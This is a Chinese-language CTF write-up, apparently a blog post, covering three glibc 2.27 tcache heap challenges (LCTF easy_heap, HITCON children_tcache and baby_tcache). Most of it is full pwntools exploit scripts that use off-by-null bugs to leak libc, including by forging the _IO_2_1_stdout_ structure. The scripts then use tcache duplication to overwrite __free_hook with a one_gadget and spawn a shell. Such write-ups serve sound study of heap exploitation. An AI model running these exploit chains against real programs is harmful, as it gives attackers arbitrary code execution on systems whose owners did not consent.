美文网首页CTF-PWN
tcache机制的几道pwn题

tcache机制的几道pwn题

作者: 2mpossible | 来源:发表于2018-11-20 18:57 被阅读256次

    tcache是libc2.26之后引进的一种新机制,之前一直没做到,然后做几道题熟悉一下

    原理及机制

    调试工具

    • 这里我直接用m4x师傅改的pwndbg在ubuntu18.04下来调试tcache

    [2018 LCTF] easy_heap

    • 程序有个off by null漏洞点,然后libc是2.27的,所以存在tcache机制,当free 7个块tcache满了以后,第8,9,10个块就会放入unsorted bin中,利用off by null来free的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

    exp:

    from pwn import *
    
    context.log_level = 'debug'
    
    def malloc(size,content):
        p.recvuntil('> ')
        p.sendline('1')
        p.recvuntil('> ')
        p.sendline(str(size))
        p.recvuntil('> ')
        p.sendline(content)
    
    def free(index):
        p.recvuntil('> ')
        p.sendline('2')
        p.recvuntil('> ')
        p.sendline(str(index))
    
    def puts(index):
        p.recvuntil('> ')
        p.sendline('3')
        p.recvuntil('> ')
        p.sendline(str(index))
    
    p = process('./easy_heap')
    #p = remote('118.25.150.134',6666 )
    
    for i in range(10):
        malloc(0x20,'a')
    
    for i in range(3,10):
        free(i)
    
    for i in range(3):
        free(i)
    
    for i in range(10):
        malloc(0x20,'a')
    
    
    for i in range(6):
        free(i)
    
    free(8) #fill tcache
    free(7) #unsorted bin
    
    malloc(0xf8,'b') #change next_chunk pre_inuse = 0
    
    free(6) #fill tcache
    free(9) #unsorted bin
    
    #unsorted bin point to chunk[0]
    for i in range(8):
        malloc(0x20,'b')
    
    #leak libc
    puts(0)
    
    libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
    log.success('libc base addr : 0x%x'%libc_base)
    free_hook = libc_base + 0x3ed8e8
    one_gadget = libc_base + 0x4f322
    log.success('free_hook addr : 0x%x'%free_hook)
    log.success('one_gadget addr : 0x%x'%one_gadget)
    
    #clear unsorted bin
    malloc(0x20,'d')
    
    #free place to malloc
    free(1)
    
    #tcache dup
    free(0)
    free(9)
    
    #hijack free_hook to one_gadegt
    malloc(0x20,p64(free_hook))
    malloc(0x20,'e')
    malloc(0x20,p64(one_gadget))
    
    #trigger one_gadget to getshelol
    free(5)
    
    
    p.interactive()
    

    [2018 HITCON CTF] children_tcache

    • 漏洞点也是off by null,libc也是2.27的,跟easy_heap差不多,但是这里可以分配任意大小的堆块,tcache的范围是 [0x20, 0x400),超过这个大小的就会放入unsorted bin,利用off by null来free chunk的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

    exp:

    from pwn import *
    
    context.log_level = 'debug'
    
    p = process('./children_tcache')
    
    def new(size,data):
        p.recvuntil('choice: ')
        p.sendline('1')
        p.recvuntil('Size:')
        p.sendline(str(size))
        p.recvuntil('Data:')
        p.sendline(data)
    
    def show(index):
        p.recvuntil('choice: ')
        p.sendline('2')
        p.recvuntil('Index:')
        p.sendline(str(index))
    
    def delete(index):
        p.recvuntil('choice: ')
        p.sendline('3')
        p.recvuntil('Index:')
        p.sendline(str(index))
    
    
    new(0x500,'a')
    new(0x28,'a')
    new(0x4f0,'a')
    new(0x20,'a')
    
    delete(0)
    
    delete(1)
    new(0x28,'a')
    
    #overwrite the pre_chunk_in_use and pre_size
    #clean pre_size
    for i in range(6):
        delete(0)
        new(0x20+8-i,'a'*(0x20+8-i))
    
    delete(0)
    new(0x20+2,'a'*0x20 + '\x40\x05')
    
    #unsorted bin Merging forward
    delete(2)
    
    new(0x500,'a')
    
    #leak libc
    show(0)
    libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
    log.success('libc_base addr : 0x%x'%libc_base)
    free_hook = libc_base + 0x3ed8e8
    one_gadget = libc_base + 0x4f322
    log.success('free_hook addr : 0x%x'%free_hook)
    log.success('one_gadget addr : 0x%x'%one_gadget)
    
    #tcache dup
    new(0x28,'a')
    delete(0)
    delete(2)
    
    #hijack free_hook to one_gadget
    new(0x28,p64(free_hook))
    new(0x28,'a')
    new(0x28,p64(one_gadget))
    
    #trigger one_gadget
    delete(1)
    
    #gdb.attach(p)
    
    p.interactive()
    

    [2018 HITCON CTF] baby_tcache

    • 题目大体和children_tcache一样,off by null漏洞,但是没有了打印函数,所以要想办法泄漏libc,然后这里利用IO_FILE结构体去泄漏地址,具体参考
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24/
    
    • 所以前面前向合并的步骤跟children_tcache大体一样,然后修改tcache的fd指针指向IO_2_1_stdout结构体修改_IO_write_base地址就能泄漏地址根据偏移来获得libc基址,然后后面还是一样用double free来修改free_hook为one_gadget来getshell,这里要注意修改结构体的时候flags要过校验(具体可以参考这篇文章),而且fd指针的地址跟IO_2_1_stdout结构体地址需要爆破1位
    #_IO_FILE flags
    
    #define _IO_MAGIC         0xFBAD0000 /* Magic number */
    #define _IO_MAGIC_MASK    0xFFFF0000
    #define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
    #define _IO_UNBUFFERED        0x0002
    #define _IO_NO_READS          0x0004 /* Reading not allowed.  */
    #define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
    #define _IO_EOF_SEEN          0x0010
    #define _IO_ERR_SEEN          0x0020
    #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
    #define _IO_LINKED            0x0080 /* In the list of all open files.  */
    #define _IO_IN_BACKUP         0x0100
    #define _IO_LINE_BUF          0x0200
    #define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
    #define _IO_CURRENTLY_PUTTING 0x0800
    #define _IO_IS_APPENDING      0x1000
    #define _IO_IS_FILEBUF        0x2000
                               /* 0x4000  No longer used, reserved for compat.  */
    #define _IO_USER_LOCK         0x8000
    
    _flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)
    
    _flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags
    

    exp:

    from pwn import *
    
    context.log_level = 'debug'
    
    
    
    def new(size,data):
        p.recvuntil('choice: ')
        p.sendline('1')
        p.recvuntil('Size:')
        p.sendline(str(size))
        p.recvuntil('Data:')
        p.send(data)
    
    
    def delete(index):
        p.recvuntil('choice: ')
        p.sendline('2')
        p.recvuntil('Index:')
        p.sendline(str(index))
    
    
    while True:
    
        try:
    
            p = process('./baby_tcache')
    
            new(0x500,'a')
            new(0x78,'a')
            new(0x4f0,'a')
            new(0x20,'a')
    
            #unsorted bin
            delete(0)
    
            delete(1)
            new(0x78,'a')
    
            #overwrite the pre_chunk_in_use and pre_size
            #clean pre_size
            for i in range(6):
                delete(0)
                new(0x70+8-i,'a'*(0x70+8-i))
    
            delete(0)
            new(0x72,'a'*0x70 + '\x90\x05')
    
            #unsorted bin Merging forward
            delete(2)
            delete(0)
    
            #hijack fd -> _IO_2_1_stdout_
            new(0x500,'a')
            new(0x88,'\x60\xc7')
    
            #hijack _IO_write_base to leak libc
            new(0x78,'a')
            fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
            #gdb.attach(p)
            new(0x78,fake__IO_2_1_stdout_)
            libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
            log.success('libc_base addr : 0x%x'%libc_base)
            free_hook = libc_base + 0x3ed8e8
            one_gadget = libc_base + 0x4f322
            log.success('free_hook addr : 0x%x'%free_hook)
            log.success('one_gadget addr : 0x%x'%one_gadget)
    
            #double free
            delete(1)
            delete(2)
    
            #hijack free_hook -> one_gadget
            new(0x88,p64(free_hook))
            new(0x88,'a')
            new(0x88,p64(one_gadget))
    
            #trigger one_gadget
            delete(0)
    
    
            p.interactive()
    
        except Exception as e:
    
            p.close()
    
    

    参考文章:

    相关文章

      网友评论

        本文标题:tcache机制的几道pwn题

        本文链接:https://www.haomeiwen.com/subject/fnvofqtx.html